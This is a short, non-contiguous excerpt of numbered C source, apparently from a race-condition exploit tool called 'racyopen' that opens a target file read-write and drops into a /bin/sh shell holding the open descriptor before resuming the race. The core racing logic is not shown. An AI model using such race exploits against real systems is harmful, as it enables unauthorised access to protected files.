10 int main(int argc, char *argv[]) {
11 if (argc != 3) { puts("invocation: ./racyopen <folder> <file>"); exit(1); }
15 int fd = open(argv[2], O_RDWR);
20 printf("Success! Here's your shell with open fd.\n");
21 execl("/bin/sh", "sh", NULL);
22 printf("\nshell exited, resuming race\n");